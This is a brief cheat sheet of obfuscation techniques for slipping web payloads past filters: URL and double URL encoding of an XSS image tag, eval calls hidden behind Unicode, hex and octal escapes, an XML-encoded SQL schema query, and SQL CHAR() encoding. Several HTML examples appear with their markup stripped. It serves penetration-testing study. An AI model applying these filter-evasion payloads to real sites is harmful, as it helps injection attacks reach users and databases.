# Obfuscation
**URL encoding:**
```bash
[...]/?search=Fish+%26+Chips
```
**Double URL encoding:**
```bash
[...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
[...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
```
**HTML encoding:**
```html
Click me
```
**XML encoding:**
```xml
123
999 SELECT * FROM information_schema.tables
```
**Unicode encoding:**
```js
eval("\u0061lert(1)")
Click me
```
**Hex escaping:**
```js
eval("\x61lert")
```
**Octal escaping:**
```js
eval("\141lert(1)")
```
**Multiple encodings:**
```js
Click me
```
Browser will first HTML decode `\` to `\` - turning `u0061` into the unicode escape `\u0061` decoding into `a`.
**SQL char() function:**
```sql
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
```
Decoded to `SELECT`